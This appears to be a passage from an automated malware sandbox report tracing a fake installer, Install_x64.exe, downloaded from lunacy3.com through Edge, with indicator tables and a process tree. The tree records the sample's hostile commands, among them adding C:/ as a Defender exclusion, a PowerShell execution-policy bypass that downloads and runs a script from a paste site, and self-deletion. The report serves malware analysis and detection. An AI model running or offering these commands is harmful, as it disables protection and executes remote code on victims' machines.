Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe

NTFS ADS 2 IoCs

Processes:

msedge.exemsedge.exe

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 31017.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Install_x64.exe:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exemsedge.exeidentity_helper.exemsedge.exemsedge.exepowershell.exeBitLockerToGo.exeopenwith.exepowershell.exepowershell.exeBitLockerToGo.exeopenwith.exepowershell.exeBitLockerToGo.exeopenwith.exepowershell.exeBitLockerToGo.exeopenwith.exepowershell.exepowershell.exeBitLockerToGo.exeopenwith.exeBitLockerToGo.exe

pid	Process
4048	msedge.exe
4048	msedge.exe
3416	msedge.exe
3416	msedge.exe
4424	msedge.exe
4424	msedge.exe
4556	identity_helper.exe
4556	identity_helper.exe
3348	msedge.exe
3348	msedge.exe
3348	msedge.exe
3348	msedge.exe
4360	msedge.exe
4360	msedge.exe
2816	powershell.exe
2816	powershell.exe
3160	BitLockerToGo.exe
3160	BitLockerToGo.exe
1924	openwith.exe
1924	openwith.exe
1924	openwith.exe
1924	openwith.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
1100	powershell.exe
1100	powershell.exe
1652	BitLockerToGo.exe
1652	BitLockerToGo.exe
2276	openwith.exe
2276	openwith.exe
2276	openwith.exe
2276	openwith.exe
4568	powershell.exe
4568	powershell.exe
2692	BitLockerToGo.exe
2692	BitLockerToGo.exe
2348	openwith.exe
2348	openwith.exe
2348	openwith.exe
2348	openwith.exe
2740	powershell.exe
2740	powershell.exe
2740	powershell.exe
236	BitLockerToGo.exe
236	BitLockerToGo.exe
4172	openwith.exe
4172	openwith.exe
4172	openwith.exe
4172	openwith.exe
1912	powershell.exe
1912	powershell.exe
1912	powershell.exe
408	powershell.exe
408	powershell.exe
408	powershell.exe
1692	BitLockerToGo.exe
1692	BitLockerToGo.exe
760	openwith.exe
760	openwith.exe
760	openwith.exe
760	openwith.exe
2400	BitLockerToGo.exe
2400	BitLockerToGo.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

msedge.exe

pid	Process
5672	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

Processes:

msedge.exe

pid	Process
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe

Suspicious use of AdjustPrivilegeToken 39 IoCs

Processes:

powershell.exepowershell.exewhoami.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exefirefox.exepowershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	3444	powershell.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	3844	whoami.exe
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	408	powershell.exe
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeDebugPrivilege	1156	firefox.exe
Token: SeDebugPrivilege	1156	firefox.exe
Token: SeDebugPrivilege	5804	powershell.exe
Token: SeDebugPrivilege	4964	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exe

pid	Process
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe

Suspicious use of SendNotifyMessage 18 IoCs

Processes:

msedge.exe

pid	Process
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe
3416	msedge.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

Install_x64.exeBitLockerToGo.exeInstall_x64.exefirefox.exeBitLockerToGo.exeOpenWith.exeBitLockerToGo.exemsedge.exemsedge.exemsedge.exemsedge.exe

pid	Process
5072	Install_x64.exe
3160	BitLockerToGo.exe
3816	Install_x64.exe
1156	firefox.exe
5324	BitLockerToGo.exe
5708	OpenWith.exe
5704	BitLockerToGo.exe
5672	msedge.exe
2384	msedge.exe
5604	msedge.exe
5452	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	Process	procid_target
PID 3416 wrote to memory of 1200	3416	msedge.exe	78
PID 3416 wrote to memory of 1200	3416	msedge.exe	78
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 1376	3416	msedge.exe	79
PID 3416 wrote to memory of 4048	3416	msedge.exe	80
PID 3416 wrote to memory of 4048	3416	msedge.exe	80
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81
PID 3416 wrote to memory of 2804	3416	msedge.exe	81

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2992
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1924
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2276
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2348
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4172
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:760
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1468
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1296
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5388
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5588
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3996

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://lunacy3.com/
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff84bef3cb8,0x7ff84bef3cc8,0x7ff84bef3cd8
  2⤵
  PID:1200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1924 /prefetch:2
  2⤵
  PID:1376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2388 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2788 /prefetch:8
  2⤵
  PID:2804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
  2⤵
  PID:1252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
  2⤵
  PID:4344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5048 /prefetch:8
  2⤵
  PID:1988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4704 /prefetch:1
  2⤵
  PID:408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5364 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3468 /prefetch:1
  2⤵
  PID:2728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6084 /prefetch:1
  2⤵
  PID:768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5976 /prefetch:1
  2⤵
  PID:4660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:1
  2⤵
  PID:1956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6096 /prefetch:8
  2⤵
  PID:4728
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3536 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6588 /prefetch:1
  2⤵
  PID:132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
  2⤵
  PID:2888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6452 /prefetch:1
  2⤵
  PID:2168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4764 /prefetch:1
  2⤵
  PID:1452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=3900 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6936 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:4360
- C:\Users\Admin\Downloads\Install_x64.exe
  "C:\Users\Admin\Downloads\Install_x64.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Suspicious use of SetWindowsHookEx
  PID:5072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2816
- - C:\Program Files\launcher289\1.exe
    "C:\Program Files\launcher289\1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4916
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:3160
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 484
        5⤵
        Program crash
        
        PID:2084
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 488
        5⤵
        Program crash
        
        PID:2856
- - C:\Program Files\launcher289\3.exe
    "C:\Program Files\launcher289\3.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4812
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:2508
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3444
      - C:\Windows\SysWOW64\whoami.exe
        
        "C:\Windows\system32\whoami.exe" /groups /fo csv
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3844
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6216 /prefetch:1
  2⤵
  PID:5140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6984 /prefetch:1
  2⤵
  PID:4832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:1
  2⤵
  PID:5360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5296 /prefetch:1
  2⤵
  PID:4784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5980 /prefetch:1
  2⤵
  PID:2212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
